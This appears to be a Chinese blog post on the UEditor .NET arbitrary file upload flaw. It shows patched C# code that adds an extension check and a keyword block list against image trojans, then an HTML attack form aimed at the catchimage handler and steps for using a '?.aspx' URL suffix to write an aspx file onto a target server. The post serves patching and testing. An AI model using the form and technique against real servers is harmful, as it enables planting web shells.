ueditor任意文件上传漏洞+图片马制作
ueditor漏洞代码位置:
修复漏洞的代码内容:
public override void Process() { Sources = Request.Form.GetValues("source[]"); //该位置有被外网恶意提交(将图片格式转换成aspx的)文件,20210908增加尾缀验证 if (Sources != null) { foreach (var fileUrlAndWeiZhui in Sources) { string weiZhui = Path.GetExtension(fileUrlAndWeiZhui).ToLower(); if (!(weiZhui.Equals(".png") || weiZhui.Equals(".jpg") || weiZhui.Equals(".jpeg") || weiZhui.Equals(".gif") || weiZhui.Equals(".bmp") )) { WriteJson(new { state = "参数无效,非法行为" }); return; } //网络文件地址 string file_url = fileUrlAndWeiZhui; //实例化唯一文件标识 Uri file_uri = new Uri(file_url); //返回文件流 Stream stream = WebRequest.Create(file_uri).GetResponse().GetResponseStream(); //实例化文件内容 StreamReader file_content = new StreamReader(stream); //读取文件内容 string file_content_str = file_content.ReadToEnd(); string file_content_str_tolower = file_content_str.ToLower(); //20220824增加图片内容识别,防止图片马漏洞,有些恶意图片文件里写了脚本代码,如果有脚本代码,就不让上传。 string key1 = "Page".ToLower(); string key2 = "Language".ToLower(); string key3 = "script".ToLower(); string key4 = "Jscript".ToLower(); string key5 = "javascript".ToLower(); string key6 = "eval".ToLower(); string key7 = "Request".ToLower(); string key8 = "Item".ToLower(); string key9 = "unsafe".ToLower(); if (file_content_str_tolower.Contains(key1) || file_content_str_tolower.Contains(key2) || file_content_str_tolower.Contains(key3) || file_content_str_tolower.Contains(key4) || file_content_str_tolower.Contains(key5) || file_content_str_tolower.Contains(key6) || file_content_str_tolower.Contains(key7) || file_content_str_tolower.Contains(key8) || file_content_str_tolower.Contains(key9) ) { WriteJson(new { state = "参数无效,非法行为" }); return; } } } if (Sources == null || Sources.Length == 0) { WriteJson(new { state = "参数错误:没有指定抓取源" }); return; } Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray(); WriteJson(new { state = "SUCCESS", list = Crawlers.Select(x => new { state = x.State, source = x.SourceUrl, url = x.ServerUrl }) }); }
TuPianMaTest202208241440.jpg 这个jpg文件也是可以通过图片马工具上传到网站目录的,所以要加图片内容验证。
图片马制作
图片马工具制作代码截图:
图片马工具html页面代码:
<form action="http://192.168.13.10:8040/ueditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST"> <p>shell addr:<input type="text" name="source[]" /></p > <input type="submit" value="Submit" /> </form>
图片马工具使用步骤:
双击打开html文件
Shell addr 填写参数值(这里可以填任意公网上(或者本地能访问)的图片地址),以下就是填写框的填写内容:
http://img-arch.pconline.com.cn/images/upload/upc/tx/photoblog/1309/25/c49/26316176_26316176_1380092693834_mthumb.jpg?.aspx
前面的链接(蓝色)是公网的jpg文件,后面的?.aspx(红色)是将图片格式转换为aspx格式文件上传到被攻击的服务器,如果单纯上传jpg文件,后面红色的部分可以不加。
Submit提交之后,就可以看到有返回服务器的文件是否成功的信息。
成功之后,查看网站的相关文件夹就可以看到文件夹生成了aspx文件。
上面的代码漏洞已经修复了,如果要测试图片马情况,要把(黄色)相关代码注释掉。
(完)